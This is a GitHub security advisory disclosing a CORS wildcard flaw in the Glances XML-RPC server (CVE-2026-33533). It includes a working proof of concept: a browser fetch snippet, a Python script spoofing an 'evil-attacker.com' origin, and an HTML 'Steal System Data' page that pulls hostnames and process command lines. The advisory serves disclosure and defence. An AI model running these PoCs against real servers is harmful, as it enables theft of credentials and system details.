Skip to content

Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard

High severity GitHub Reviewed Published Mar 29, 2026 in nicolargo/glances • Updated Apr 6, 2026

Package

pip Glances (pip)

Affected versions

<= 4.5.1

Patched versions

None

Description

Summary

The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).

Details

File: glances/server.py, class GlancesXMLRPCHandler, line 41

def send_my_headers(self):
    self.send_header("Access-Control-Allow-Origin", "*")

This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.

The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.

PoC

Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.

Step 1. Start the Glances XML-RPC server on the target machine:

glances -s -p 61209

Step 2. From any machine, run the Python PoC to confirm the issue server-side:

python3 poc_test.py TARGET_IP 61209

Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.

Step 4. Alternatively, paste this into any browser console while on any website:

fetch("http://TARGET_IP:61209/RPC2", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
    let m = d.match(/<string>([\s\S]*?)<\/string>/);
    let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
    console.log("Hostname:", data.system.hostname);
    console.log("Processes:", data.processlist.length);
    console.log("First process cmdline:", data.processlist[0].cmdline);
});

Verified output from testing on Glances 4.5.3_dev01 (current main branch):

[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname:     claude
OS:           Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35

Impact

Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.

poc_test.py

#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration

This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.

The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.

Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""

import http.client
import json
import sys
import xmlrpc.client


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209

    print(f"[*] Target: {host}:{port}")
    print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
    print()

    conn = http.client.HTTPConnection(host, port, timeout=10)

    # XML-RPC payload sent as text/plain to avoid CORS preflight
    payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
    headers = {
        "Content-Type": "text/plain",
        "Origin": "http://evil-attacker.com",
    }

    try:
        conn.request("POST", "/RPC2", body=payload, headers=headers)
        response = conn.getresponse()
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        sys.exit(1)

    print(f"[+] HTTP Status: {response.status}")
    cors = response.getheader("Access-Control-Allow-Origin")
    print(f"[+] Access-Control-Allow-Origin: {cors}")
    print()

    if cors != "*":
        print("[-] CORS header is not wildcard. Attack would not work.")
        sys.exit(1)

    data = response.read()
    result = xmlrpc.client.loads(data)[0][0]
    parsed = json.loads(result)

    print("[+] Successfully retrieved system data cross-origin.")
    print()
    print("=== Stolen System Information ===")
    print()

    system = parsed.get("system", {})
    print(f"Hostname:     {system.get('hostname', 'N/A')}")
    print(f"OS:           {system.get('os_name', 'N/A')} {system.get('os_version', '')}")
    print(f"Platform:     {system.get('platform', 'N/A')}")
    print(f"Distribution: {system.get('linux_distro', 'N/A')}")
    print()

    cpu = parsed.get("cpu", {})
    print(f"CPU user:     {cpu.get('user', 'N/A')}%")
    print(f"CPU system:   {cpu.get('system', 'N/A')}%")
    print(f"CPU cores:    {cpu.get('cpucore', 'N/A')}")
    print()

    mem = parsed.get("mem", {})
    total_mb = round((mem.get("total", 0)) / 1024 / 1024)
    used_mb = round((mem.get("used", 0)) / 1024 / 1024)
    print(f"Memory:       {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
    print()

    ip_info = parsed.get("ip", {})
    print(f"IP Address:   {ip_info.get('address', 'N/A')}")
    print(f"Subnet Mask:  {ip_info.get('mask', 'N/A')}")
    print()

    procs = parsed.get("processlist", [])
    print(f"Process count: {len(procs)}")
    print()
    print("Top 5 processes by CPU (with command lines):")
    for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
        cmdline = p.get("cmdline", [])
        cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
        print(f"  PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}")

    print()
    print(f"[+] Total data categories exposed: {len(parsed.keys())}")
    print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")


if __name__ == "__main__":
    main()

poc_cors_xmlrpc.html

<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
    const target = document.getElementById("target").value;
    const out = document.getElementById("output");
    out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
    out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";

    try {
        const resp = await fetch(target + "/RPC2", {
            method: "POST",
            headers: {"Content-Type": "text/plain"},
            body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
        });

        out.textContent += "[+] Response status: " + resp.status + "\n";
        out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";

        const xml = await resp.text();
        const match = xml.match(/<string>([\s\S]*?)<\/string>/);
        if (match) {
            const data = JSON.parse(match[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
            out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
            out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
            out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
            out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
            out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
            out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
            out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";

            if (data.processlist?.length > 0) {
                out.textContent += "[+] Top 10 processes (with full command lines):\n";
                data.processlist.slice(0, 10).forEach(p => {
                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
                    out.textContent += "  PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
                });
            }

            if (data.network?.length > 0) {
                out.textContent += "\n[+] Network interfaces:\n";
                data.network.forEach(n => {
                    out.textContent += "  " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
                });
            }

            if (data.fs?.length > 0) {
                out.textContent += "\n[+] Filesystems:\n";
                data.fs.forEach(f => {
                    out.textContent += "  " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
                });
            }
        }
    } catch(e) {
        out.textContent += "[-] Error: " + e.message + "\n";
    }
}
</script>
</body>
</html>

References

@nicolargo nicolargo published to nicolargo/glances Mar 29, 2026
Published to the GitHub Advisory Database Mar 30, 2026
Reviewed Mar 30, 2026
Published by the National Vulnerability Database Apr 2, 2026
Last updated Apr 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Permissive Cross-domain Security Policy with Untrusted Domains

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. Learn more on MITRE.

CVE ID

CVE-2026-33533

GHSA ID

GHSA-7p93-6934-f4q7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.